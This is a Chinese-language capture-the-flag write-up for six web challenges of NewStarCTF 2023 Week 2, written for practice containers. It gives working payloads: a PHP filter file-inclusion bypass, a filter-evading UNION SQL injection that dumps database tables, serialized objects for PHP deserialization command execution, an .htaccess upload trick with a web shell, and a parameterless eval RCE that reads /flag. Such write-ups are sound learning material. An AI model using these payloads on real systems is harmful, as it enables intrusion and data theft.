NewStarCTF 2023-WEEK2 Web WriteUp

解题 6/6

游戏高手

打开容器,发现一个前端页面,F12进行javascript代码审计。

发现函数gameover()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}

分析逻辑,发现当gameScore大于100000时,会将{score: gameScore}转化为json发送到/api.php,将返回结果alert,因此猜测flag由api.php给出。

在控制台重写gameover函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function gameover(){
if(gameScore < 100000){
gameScore = 1000000;
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}

接着在控制台执行gameover(),得到flag:flag{5d66c0a8-cb52-4099-a3fb-f7d5cf4826d0}

include 0。0

打开容器,发现一段php

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

看到include,文件包含漏洞。

但是!preg_match('/base|rot/i',$file)如果file中含有base和rot就会die,所以用不了普通的php://filter/read=convert.base64-encode/resource=flag.phpphp://filter/read=string.rot13/resource=flag.php

使用其他字符集,php://filter/read=convert.iconv.UTF8.UTF7/resource=flag.php,得到flag+AHs-59c6afe7-3cad-4eb3-abac-38b09521a184+AH0

稍加改动,得到flag:flag{59c6afe7-3cad-4eb3-abac-38b09521a184}

这里贴一个字符集filter脚本,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

ez_sql

打开容器,发现好多a标签,随便点点,发现有id参数传入。

?id=TMP0919'--+发现依旧可以显示,猜测是sql注入。

但是?id=TMP0919'or 1=1--+显示no,有黑名单,使用大小写绕过。

?id=TMP0919'Or 1=1--+绕过成功。

查字段数

1
?id=TMP0919' Order by 5--+

成功

1
?id=TMP0919' Order by 6--+

无法回显,得到字段数为5。

1
?id=T' union seLect 1,2,3,4,5--+

可以正常回显。

查库名

1
?id=T' union seLect database(),2,3,4,5--+

回显ctf,注意select需要使用大小写绕过。

查表名

1
?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),3,4,5--+

返回grades,here_is_flag,发现here_is_flag表,注意information_schema和where需要使用大小写绕过。

查列名

1
?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag' ),4,5--+

返回flag,得到flag列

查flag

1
?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag' ),(seLect flag from ctf.here_is_flag),5--+

得到flag:flag{fbbd976e-4244-4154-b2d1-a38dba8a9ef2}

Unserialize?

打开容器,发现php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

利用php反序列化漏洞,本地搭建php环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil
{
private $cmd = "ls /";

public function __destruct()
{
if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) {
@system($this->cmd);
}
}
}

$a = new evil;
echo urlencode(serialize($a));
?>

拿到O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls+%2F%22%3B%7D

直接打,发现flag路径:/th1s_1s_fffflllll4444aaaggggg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil
{
private $cmd = "ca''t /th1s_1s_fffflllll4444aaaggggg";

public function __destruct()
{
if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) {
@system($this->cmd);
}
}
}

$a = new evil;
echo urlencode(serialize($a));
?>

使用单引号绕过过滤,拿到O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A36%3A%22ca%27%27t+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

得到flag:flag{f1e483d0-09a1-4376-b00b-60b3ea9422df}

Upload again!

上传php,发现有黑名单。

直接上传.htaccess

1
AddType application/x-httpd-php .jpg

将jpg解析为php

上传1.jpg,发现含有<?的文件被过滤,使用JavaScript标签绕过。

1
<script language="php">system($GET[0]);</script>

可以正常解析,剩下无脑直接找flag即可。

R!!C!!E!!

打开容器发现Welcome To NewstarCTF 2023,Nothing here,or you wanna to find some leaked information?

信息泄露,猜测是git泄露,使用GitHack工具

得到bo0g1pop.php,内容为

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

分析逻辑,是无参数RCE,从start.sh可以看到flag在/flag中。

首先需要构造出/flag,使用getallheaders函数得到所有http Header

发现User-Agent在第二个,可以使用next(getallheaders())得到值。

改UA为/flag,得到/flag字符串,接着使用show_source函数得到flag内容。

完整payload:/bo0g1pop.php?star=show_source(next(getallheaders()));

得到flag:flag{34b4ffdf-5637-46ee-a734-30e031d0b73f}

总结

贴一个官方wp:https://shimo.im/docs/Dy5ekHJhKo0ap5v3/

其他方向没怎么研究,太忙了,只抽出来一个小时写了个Web


NewStarCTF 2023-WEEK2 Web WriteUp
https://blog.lazyforever.top/2023/10/10/2023newstarctfWeek2/
作者
lazy_forever
发布于
2023年10月10日
许可协议